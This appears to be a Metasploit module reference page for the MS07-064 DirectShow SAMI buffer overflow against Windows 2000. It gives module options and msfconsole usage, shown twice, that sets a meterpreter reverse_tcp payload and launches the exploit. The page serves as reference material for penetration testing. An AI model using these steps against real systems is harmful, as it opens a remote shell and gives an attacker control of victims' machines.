Microsoft DirectX DirectShow SAMI Buffer Overflow
This module exploits a stack buffer overflow in the DirectShow Synchronized Accessible Media Interchanged (SAMI) parser in quartz.dll. This module has only been tested with Windows Media Player (6.4.09.1129) and DirectX 8.0.
Exploit Rank
- Normal
Exploit Authors
- MC < mc [at] metasploit.com >
Vulnerability References
Exploit Targets
- 0 - Windows 2000 Pro SP4 English (default)
Exploit Development
Similar Exploit Modules
- exploit/windows/misc/agentxpp_receive_agentx
- exploit/windows/misc/apple_quicktime_rtsp_response
- exploit/windows/misc/asus_dpcproxy_overflow
- exploit/windows/misc/avidphoneticindexer
- exploit/windows/misc/bakbone_netvault_heap
- exploit/windows/misc/bcaaa_bof
- exploit/windows/misc/bigant_server
- exploit/windows/misc/bigant_server_250
- exploit/windows/misc/bigant_server_usv
- exploit/windows/misc/bomberclone_overflow
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/misc/ms07_064_sami
msf exploit(ms07_064_sami) > show payloads
msf exploit(ms07_064_sami) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms07_064_sami) > set LHOST [MY IP ADDRESS]
msf exploit(ms07_064_sami) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/misc/ms07_064_sami
msf exploit(ms07_064_sami) > show payloads
msf exploit(ms07_064_sami) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms07_064_sami) > set LHOST [MY IP ADDRESS]
msf exploit(ms07_064_sami) > exploit
Exploit Module Options
| SRVHOST | The local host to listen on. This must be an address on the local machine or 0.0.0.0 (default: 0.0.0.0) |
| SRVPORT | The local port to listen on. (default: 8080) |
| SSL | Negotiate SSL for incoming connections |
| SSLCert | Path to a custom SSL certificate (default is randomly generated) |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) (default: SSL3) |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| ListenerComm | The specific communication channel to use for this service |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| TCP::max_send_size | Maximum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
